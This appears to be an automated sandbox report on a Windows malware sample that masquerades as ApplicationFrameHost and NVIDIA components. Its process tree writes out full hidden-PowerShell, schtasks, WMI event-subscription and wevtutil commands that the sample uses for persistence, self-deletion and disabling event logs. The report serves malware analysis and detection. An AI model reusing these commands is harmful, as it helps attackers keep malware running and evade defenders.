Analysis
- max time kernel
148s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
03/04/2026, 05:07
General
- Target e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe
- Size 8.8MB
- Sample260403-fr3aaadx21
- SHA256 e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- Enumerates VirtualBox registry keys 2 TTPs 40 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell and hide display window.
- Looks for VMWare Tools registry key 2 TTPs 8 IoCs
- Looks for VMWare services registry key. 1 TTPs 32 IoCs
- Deletes itself 1 IoCs
- Drops startup file 1 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 7 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Modifies registry class 15 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 12 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe"C:\Users\Admin\AppData\Local\Temp\e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN NvContainerTask_G5ML4VPuil /TR "\"C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe\" worker" /SC ONLOGON /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "$ws=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NVIDIA Display Container.lnk');$ws.TargetPath='C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe';$ws.Arguments='worker';$ws.WindowStyle=7;$ws.Save()"3⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f=[wmiclass]\"root\subscription:__EventFilter\";$fi=$f.CreateInstance();$fi.Name='NVIDIA Display Container_Filter';$fi.EventNamespace='root\cimv2';$fi.QueryLanguage='WQL';$fi.Query='SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"';$fi.Put();$c=[wmiclass]\"root\subscription:CommandLineEventConsumer\";$ci=$c.CreateInstance();$ci.Name='NVIDIA Display Container_Consumer';$ci.CommandLineTemplate='\"C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe\" worker';$ci.Put();$b=[wmiclass]\"root\subscription:__FilterToConsumerBinding\";$bi=$b.CreateInstance();$bi.Filter=$fi.__PATH;$bi.Consumer=$ci.__PATH;$bi.Put()"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -Force 'C:\Users\Admin\AppData\Local\Temp\e08610b28e637679feaf243622adf3386a04bd24c915fe64c908d4d68b9fd203.bin.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe"C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe" worker2⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe"C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe" worker2⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe"C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN NvContainerTask_G5ML4VPuil /TR "\"C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe\" worker" /SC ONLOGON /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f=[wmiclass]\"root\subscription:__EventFilter\";$fi=$f.CreateInstance();$fi.Name='NVIDIA Display Container_Filter';$fi.EventNamespace='root\cimv2';$fi.QueryLanguage='WQL';$fi.Query='SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"';$fi.Put();$c=[wmiclass]\"root\subscription:CommandLineEventConsumer\";$ci=$c.CreateInstance();$ci.Name='NVIDIA Display Container_Consumer';$ci.CommandLineTemplate='\"C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe\" worker';$ci.Put();$b=[wmiclass]\"root\subscription:__FilterToConsumerBinding\";$bi=$b.CreateInstance();$bi.Filter=$fi.__PATH;$bi.Consumer=$ci.__PATH;$bi.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -Force 'C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe"C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe" worker1⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "wevtutil sl \"Microsoft-Windows-TaskScheduler/Operational\" /e:false 2>$null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-TaskScheduler/Operational /e:false3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "wevtutil sl \"Microsoft-Windows-Services/Diagnostic\" /e:false 2>$null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-Services/Diagnostic /e:false3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exeC:\Users\Admin\AppData\Local\Microsoft\IdentityService\ApplicationFrameHost.exe watchdog 60202⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$r=Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter \"Name='NVIDIA Display Container_Filter'\" -ErrorAction SilentlyContinue;if($r){exit 0}else{exit 1}"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exeschtasks /Query /TN NvContainerTask_G5ML4VPuil2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe"C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe"1⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe"C:\Users\Admin\AppData\Local\Microsoft\SystemAppData\ApplicationFrameHost.exe" worker1⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ApplicationFrameHost.exe
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
.mn_4d4c34565075696c.pid
.mn_4d4c34565075696c.pid
.mn_4d4c34565075696c.pid
.wd_4d4c34565075696c.pid
__PSScriptPolicyTest_ehaqkida.5s3.ps1
memory/1792-107-0x0000026D7A870000-0x0000026D7A882000-memory.dmp
memory/1792-106-0x0000026D62140000-0x0000026D6214C000-memory.dmp
memory/1920-93-0x0000022383950000-0x000002238395C000-memory.dmp
memory/1920-94-0x0000022383A90000-0x0000022383AA2000-memory.dmp
memory/2088-70-0x000001E01F5C0000-0x000001E01F5D2000-memory.dmp
memory/2088-69-0x000001E01D9B0000-0x000001E01D9BC000-memory.dmp
memory/2352-55-0x0000013F19EA0000-0x0000013F19EAC000-memory.dmp
memory/2352-56-0x0000013F321E0000-0x0000013F321F2000-memory.dmp
memory/3312-80-0x000001FB30CE0000-0x000001FB30CF2000-memory.dmp
memory/3312-79-0x000001FB2F060000-0x000001FB2F06C000-memory.dmp
memory/3392-29-0x00000227439A0000-0x00000227439AC000-memory.dmp
memory/3392-30-0x0000022743E10000-0x0000022743E22000-memory.dmp
memory/3972-16-0x0000028229130000-0x000002822913C000-memory.dmp
memory/3972-3-0x00000282292E0000-0x00000282292F0000-memory.dmp
memory/3972-4-0x00000282293B0000-0x00000282293D2000-memory.dmp
memory/3972-2-0x00000282292E0000-0x00000282292F0000-memory.dmp
memory/3972-11-0x00000282292E0000-0x00000282292F0000-memory.dmp
memory/3972-17-0x0000028229360000-0x0000028229372000-memory.dmp
memory/4728-73-0x0000017B85810000-0x0000017B8581C000-memory.dmp
memory/4728-74-0x0000017B85C70000-0x0000017B85C82000-memory.dmp